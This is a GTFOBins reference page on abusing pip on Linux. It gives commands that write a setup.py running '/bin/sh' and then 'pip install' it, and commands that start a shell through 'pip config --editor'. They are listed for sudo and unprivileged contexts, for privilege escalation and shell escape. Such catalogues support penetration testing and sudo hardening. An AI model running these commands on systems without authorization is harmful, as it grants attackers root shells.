CatalogGTFOBins

GTFO · Tool

pip

4 techniquesLinuxGTFOBinsGPL-3.0

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege EscalationLinux

This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems.

echo '...' >setup.py
pip install --break-system-packages .
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
inherit, from:python

inherit ← python

File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadLinux

This allows to run Python code (`...`). It executes a Python script named `setup.py` in the directory passed as argument (`.`). Keep in mind that the TTY is lost, so `/dev/tty` can be used, for example: ``` echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py ``` The `--break-system-packages` flag can be omitted in older systems.

echo '...' >setup.py
pip install --break-system-packages .
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
inherit, from:python

shell

ExecutionPrivilege EscalationLinux
pip config --editor '/bin/sh -s' edit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionLinux
pip config --editor '/bin/sh -s' edit
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059